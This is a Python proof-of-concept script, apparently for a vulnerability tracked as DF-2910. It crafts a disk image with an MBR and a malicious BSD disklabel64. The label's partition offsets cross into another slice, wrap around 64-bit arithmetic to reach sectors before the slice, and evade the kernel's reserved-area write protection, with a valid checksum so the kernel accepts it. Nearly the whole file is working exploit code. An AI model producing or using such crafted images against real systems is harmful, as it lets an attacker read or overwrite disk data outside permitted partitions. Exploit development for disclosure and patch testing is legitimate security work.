DF-2910 / makeimg.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | #!/usr/bin/env python3 """ DF-2910 PoC image generator (host-side, pure struct packing). Crafts a 16 MiB disk image: - MBR with two slices: s1: type 0xA5 (DOSPTYP_386BSD), LBA 2048, 2048 sectors (1 MiB) <- attacker slice s2: type 0x83 (Linux), LBA 6144, 64 sectors (32 KiB) <- victim slice - victim marker at absolute sector 128 (the MBR gap, *before* any slice) - victim marker at slice2 LBA 6144 - disklabel64 at slice1-relative byte 0 (d_magic lands at byte 512): d_total_size = 1 MiB, d_bbase = 4096 (=> ds_reserved = 8 sectors) partitions: 'a' (i=0): p_boffset = 2 MiB -> absolute LBA 6144 (slice2 start) [cross-slice, beyond the 1 MiB slice] 'b' (i=1): p_boffset = 2^64 - 983040 -> (2048 + p_boffset/512)*512 wraps mod 2^64 to absolute byte 65536 (sector 128, BEFORE the slice) [wraparound slice escape] 'c' (i=2): p_boffset = 2^64 - 2047*512 -> wraps to slice1-relative sector 1 (the on-disk label magic sector, inside the EROFS-protected ds_reserved area) [reserved-area write-protection bypass] """ import struct, zlib, sys SEC = 512 IMG_SECS = 32768 # 16 MiB S1_LBA, S1_NSEC = 2048, 2048 # 1 MiB attacker slice S2_LBA, S2_NSEC = 6144, 64 # 32 KiB victim slice WRAP_TARGET_LBA = 128 # marker in the MBR gap LABEL_MAGIC = 0xC4464C59 # DISKMAGIC64 MAXPARTITIONS64 = 16 FS_OTHER = 9 img = bytearray(IMG_SECS * SEC) # ---- markers ---------------------------------------------------------------- img[WRAP_TARGET_LBA*SEC:WRAP_TARGET_LBA*SEC+32] = b"SECTOR128-SECRET-MARKER!!!\n\x00\x00\x00\x00\x00" img[S2_LBA*SEC:S2_LBA*SEC+32] = b"SLICE2-SECRET-MARKER!!!!!!\n\x00\x00\x00\x00\x00" # ---- MBR -------------------------------------------------------------------- mbr = bytearray(SEC) def mbr_entry(idx, typ, lba, nsec): off = 446 + 16*idx mbr[off] = 0x00 # not active mbr[off+1:off+4] = b"\xfe\xff\xff" # CHS start (ignored) mbr[off+4] = typ mbr[off+5:off+8] = b"\xfe\xff\xff" # CHS end (ignored) struct.pack_into("<I", mbr, off+8, lba) struct.pack_into("<I", mbr, off+12, nsec) mbr_entry(0, 0xA5, S1_LBA, S1_NSEC) # -> s1, BSD type => kernel label-probes it mbr_entry(1, 0x83, S2_LBA, S2_NSEC) # -> s2, victim mbr[510:512] = b"\x55\xaa" img[0:SEC] = mbr # ---- disklabel64 (slice1-relative byte 0) ------------------------------------ def part(boffset, bsize, fstype=FS_OTHER): # struct partition64: Q Q B B B B I I I 16s 16s (= 64 bytes exactly) return struct.pack("<QQBBBBIII16s16s", boffset, bsize, fstype, 0, 0, 0, 0, 0, 0, b"\0"*16, b"\0"*16) ds_off_bytes = S1_LBA * SEC slice_total = S1_NSEC * SEC # 1 MiB # (ds_offset + slicerel)*512 mod 2^64 == target_abs_bytes; pick slicerel huge # (>= 2^55) so the ds_reserved EROFS check at dscheck:227 never triggers. # slicerel = rel_sector + k*2^55 => p_boffset = 512*rel_sector + k*2^60 def wrap_boff(target_abs_byte, ds_offset_bytes): rel = (target_abs_byte - ds_offset_bytes) // SEC # slice-relative sector return (rel * SEC + (1 << 60)) % (1 << 64) # k = 1 boff_a = (S2_LBA - S1_LBA) * SEC # 2 MiB, cross-slice (no wrap) boff_b = wrap_boff(WRAP_TARGET_LBA*SEC, ds_off_bytes) boff_c = wrap_boff((S1_LBA+1)*SEC, ds_off_bytes) # label magic sector, rel sec 1 parts = b"" parts += part(boff_a, 8192) # 'a' parts += part(boff_b, 8192) # 'b' parts += part(boff_c, 8192) # 'c' parts += part(0, 0, fstype=0) * (MAXPARTITIONS64 - 3) hdr = struct.pack("<512sIIII16sQQQQQ64s64s", b"\0"*512, # d_reserved0 LABEL_MAGIC, # d_magic 0, # d_crc (patched below) 512, # d_align MAXPARTITIONS64, # d_npartitions b"\0"*16, # d_stor_uuid slice_total, # d_total_size 4096, # d_bbase -> ds_reserved = 8 sectors 4096, # d_pbase slice_total - 4096, # d_pstop 0, # d_abase b"pwn\x00" + b"\0"*60, # d_packname b"\0"*64) # d_reserved label = hdr + parts # 1736 bytes assert len(label) == 1736, len(label) crc = zlib.crc32(label[512:1736]) & 0xffffffff # d_crc field is zero here label = bytearray(label) struct.pack_into("<I", label, 516, crc) # offsetof(d_crc) = 516 label = bytes(label) off = S1_LBA * SEC img[off:off+len(label)] = label out = sys.argv[1] if len(sys.argv) > 1 else "/tmp/opencode/df2910.img" with open(out, "wb") as f: f.write(img) print("wrote", out) print(" crc = 0x%08x" % crc) print(" 'a' p_boffset = 0x%x (cross-slice -> abs LBA %d)" % (boff_a, S1_LBA + boff_a//SEC)) print(" 'b' p_boffset = 0x%x (wraps to abs LBA %d)" % (boff_b, WRAP_TARGET_LBA)) print(" 'c' p_boffset = 0x%x (wraps to slice-rel LBA 1 = label magic, EROFS area)" % boff_c) |